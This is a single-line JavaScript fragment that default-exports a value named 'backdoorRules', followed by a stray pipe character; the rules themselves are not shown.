export default backdoorRules;
|